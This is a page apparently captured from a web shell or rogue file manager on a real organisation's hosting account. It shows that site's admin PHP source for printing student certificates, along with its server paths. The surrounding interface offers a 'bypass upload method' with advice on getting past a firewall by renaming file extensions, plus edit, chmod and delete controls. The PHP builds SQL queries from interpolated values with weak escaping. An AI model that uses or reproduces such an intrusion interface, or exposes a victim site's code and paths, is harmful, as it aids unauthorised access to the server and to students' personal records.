Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
home
u148414079
domains
rnnycindia.org
public_html
rnnyc
web
admin
File Content:
certificate-print.php
<?php function getCertificates() { include_once "../../../api/config/database.php"; include_once "../../../api/config/settings.php"; $settingsObj = new Settings(); $settings = $settingsObj->getSettings(); $db = new Database(); $conn = $db->getConnection() ; $certificateId = htmlspecialchars($_GET['id'], ENT_QUOTES); // $sql = "SELECT `admissions`.*, `marks`.`grades`, `state_list`.`state`, `districts`.`district_name`, // `blocks`.`block_name`, `branches`.*, `students`.`student_name`, `students`.`image_link`, // `students`.`father_name`, `students`.`reg_no` // FROM `admissions` // LEFT JOIN `students` ON `students`.`id` = `admissions`.`student_id` // LEFT JOIN `branches` ON `branches`.`id` = `admissions`.`branch_id` // LEFT JOIN `state_list` ON `state_list`.`id` = `branches`.`state_id` // LEFT JOIN `districts` ON `districts`.`id` = `branches`.`district_id` // LEFT JOIN `blocks` ON `blocks`.`id` = `branches`.`block_id` // LEFT JOIN `marks` ON `marks`.`admission_id` = `admissions`.`id` // WHERE `admissions`.`id` IN // ( // SELECT `admission_id` FROM `request_details` // WHERE `request_id` = (SELECT `id` FROM `request` WHERE `id` = '{$requestId}' AND `request_category_id`='1') // AND `status` = 'approved' // ) GROUP BY `marks`.`admission_id`" ; $sql ="SELECT `certificates`.*,`admissions`.*, `marks`.`id` AS `marks_id`,`marks`.`grades`,`marks`.`obtained_marks`, `state_list`.`state`, `districts`.`district_name`, `blocks`.`block_name`, `branches`.*, `students`.* FROM `certificates` LEFT JOIN `marks` ON `marks`.`id` = `certificates`.`marks_id` LEFT JOIN `admissions` ON `admissions`.`id` = `certificates`.`admission_id` LEFT JOIN `branches` ON `branches`.`id` = `admissions`.`branch_id` LEFT JOIN `state_list` ON `state_list`.`id` = `branches`.`state_id` LEFT JOIN `districts` ON `districts`.`id` = `branches`.`district_id` LEFT JOIN `blocks` ON `blocks`.`id` = `branches`.`block_id` LEFT JOIN `students` ON `students`.`id` = `admissions`.`student_id` WHERE `certificates`.`id`='{$certificateId}' " ; $res = mysqli_query($conn, $sql); // echo mysqli_error($conn); while($row = mysqli_fetch_assoc($res)) { $careOf = ''; if(($row['image_link'] != null || $row['image_link'] != "") && file_exists('../../../api/uploads/students/' . $row['image_link'])){ $row['image_link'] = '<img src='.$settings['attachments_link'] . 'students/' . $row['image_link'].' class="student-pic">'; }else{ $row['image_link'] = '<img src="../../assets/img/blank-dp.png" class="student-pic">'; } // $row['image_link'] = !empty($row['image_link']) ? $settings['attachments_link'].'students/'.$row['image_link'] : ""; $row['qr_code_path'] = !empty($row['qr_code_path']) ? $settings['attachments_link'].'qrcode/'.$row['qr_code_path'] : ""; $row['director_signature'] = !empty($row['director_signature']) ? $settings['attachments_link'].'branch/'.$row['director_signature'] : ""; extract($row); $sig_img = ""; if($director_signature != ""){ $sig_img = "<img src='$director_signature' class='signature-pic'>"; } $course = json_decode($course_details, true); extract($course); $sql ="SELECT `marks_certi_status`,`text_certi` FROM `courses` WHERE `id` = '$id'"; $res = mysqli_query($conn, $sql); while($row = mysqli_fetch_assoc($res)) { $marks_certi_status=$row['marks_certi_status']; if($marks_certi_status=="Yes") { $text_certi = getMarkDetailsWithText($marks_id, $row['text_certi']); // $obtained_marks1=$obtained_marks; $text=''; $grades=''; } else { $text_certi=''; // $obtained_marks1=''; $text='grade'; } } $studentGender = 'He/She'; if(strtolower($gender) == "male"){ $studentGender = "He"; }else{ $studentGender = "She"; } if(!empty($row['care_of'])){ $careOf = '<br>C/O - '.$row['care_of'] ; } echo '<div class="certificate-bg"> <div class="content"> <div class="container-fluid"> <h6 class="registration-no">Registration No. '.$reg_no.'</h6> <div class="row mt-40"> <div class="col-5 mt-4"> <h6 class="title">This is to Certify that</h6> <h6 class="title">Father/Guardian\'s Name</h6> </div> <div class="col-5 mt-4"> <h6 class="txt">'.strtoupper($student_name).' '.strtoupper($student_middle_name).' '.strtoupper($student_last_name).'</h6> <h6 class="txt mt-3">'.strtoupper($father_name).' '.strtoupper($father_middle_name).' '.strtoupper($father_last_name).'</h6> </div> <div class="col-2"> '.$image_link.' </div> </div> <div class="row"> <div class="col-5"> <h6 class="title">Certificate Verify No.</h6> </div> <div class="col-7"> <h6 class="txt">'.strtoupper($certificate_ver_code).'</h6> </div> <div class="col-5"> <h6 class="title">Course Name</h6> </div> <div class="col-7"> <h6 class="txt">'.$course_name.'</h6> </div> <div class="col-5"> <h6 class="title">Duration of Training</h6> </div> <div class="col-7"> <h6 class="txt">'.date('F - Y', strtotime($date_from)).' to '.date('F - Y', strtotime($date_to)).'</h6> </div> <div class="col-5"> <h6 class="title">Study Centre</h6> </div> <div class="col-7"> <h6 class="txt-study-centre">'.$branch_name .$care_of.'<br> '.$city_vill.',PO- '.$po.', PS- '.$ps.', Dist- '.$district_name.', Pin- '.$pin.', '.$state.'</h6> </div> </div> <h6 class="title-big mt-3">'.$studentGender.' has successfully completed above mentioned course with '.$text . ' ' . $text_certi.' '.$grades.'.</h6> <div class="row mt-10"> <div class="col-6"> <img src="'.$qr_code_path.'" class="qrcode-pic"> </div> <div class="col-6" align="right"> '.$sig_img.' </div> </div> </div> </div> </div>'; } } function getMarkDetailsWithText($id, $text) { include_once "../../../api/config/database.php"; include_once "../../../api/config/settings.php"; $settingsObj = new Settings(); $settings = $settingsObj->getSettings(); $db = new Database(); $conn = $db->getConnection() ; $textTobeReturn = $text ; $readCommand = "SELECT * FROM `marks_details` WHERE `marks_id`='".htmlspecialchars($id)."'" ; $readStmt = mysqli_query($conn, $readCommand); $arr = []; if(mysqli_num_rows($readStmt) > 0){ $count = 1 ; while ($row = mysqli_fetch_assoc($readStmt)) { $replaceText = '#'. $count ; $textTobeReturn = str_replace($replaceText, $row['marks_obtained_practical'] , $textTobeReturn); $count++ ; } } return $textTobeReturn; } ?> <!DOCTYPE html> <html lang="en"> <head> <title>Certificate Print | RNNYC</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script> <!-- google fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Oleo+Script&display=swap" rel="stylesheet"> <!-- google fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@500&display=swap" rel="stylesheet"> <style> body, html { height: 100%; width:100%; margin: 0; } .certificate-bg { background-image: url("../../assets/img/certificate-blank.png"); height: 657px; width:500px; background-position: center; background-repeat: no-repeat; background-size: contain; margin:auto; overflow:auto; } .content{ width:430px; margin:auto; padding-top:40px; } .registration-no{ font-size:12px; font-weight:700; text-align:right; } .student-pic{ width:100%; height:60px; } .mt-40{ margin-top:36%; } .title{ font-size:15px; font-family: 'Oleo Script', cursive; } .title-big{ font-size:14px; font-family: 'Oleo Script', cursive; } .txt{ font-size:11px; font-weight:700; font-family: 'Roboto', sans-serif; } .txt-study-centre{ font-size:11px; font-weight:700; } .mt-10{ margin-top:45px; } .signature-pic{ width:120px; height:32px; margin-top:32px; } .qrcode-pic{ width:89px; height:89px; margin-left:25px; } @media print{ .certificate-bg { background-image: url("../../assets/img/certificate-blank.png"); height: 100%; width:100%; background-position: center; background-repeat: no-repeat; background-size: cover; overflow: visible; } .content{ width:86%; margin:auto; padding-top:60px; } .registration-no{ font-size:14px; } .student-pic{ width:100%; height:101px; } .mt-40{ margin-top:275px; } .title{ font-size:24px; font-family: 'Oleo Script', cursive; } .txt{ font-size:19px; font-weight:700; font-family: 'Roboto', sans-serif; } .title-big{ font-size:25px; font-family: 'Oleo Script', cursive; } .txt-study-centre{ font-size:18px; font-weight:700; } .mt-10{ margin-top:120px; } .signature-pic{ width:190px; height:40px; margin-top:50px; } .qrcode-pic{ width:125px; height:125px; margin-left:50px; } } </style> </head> <body> <?php getCertificates() ; ?> </body> </html>
Edit
Download
Unzip
Chmod
Delete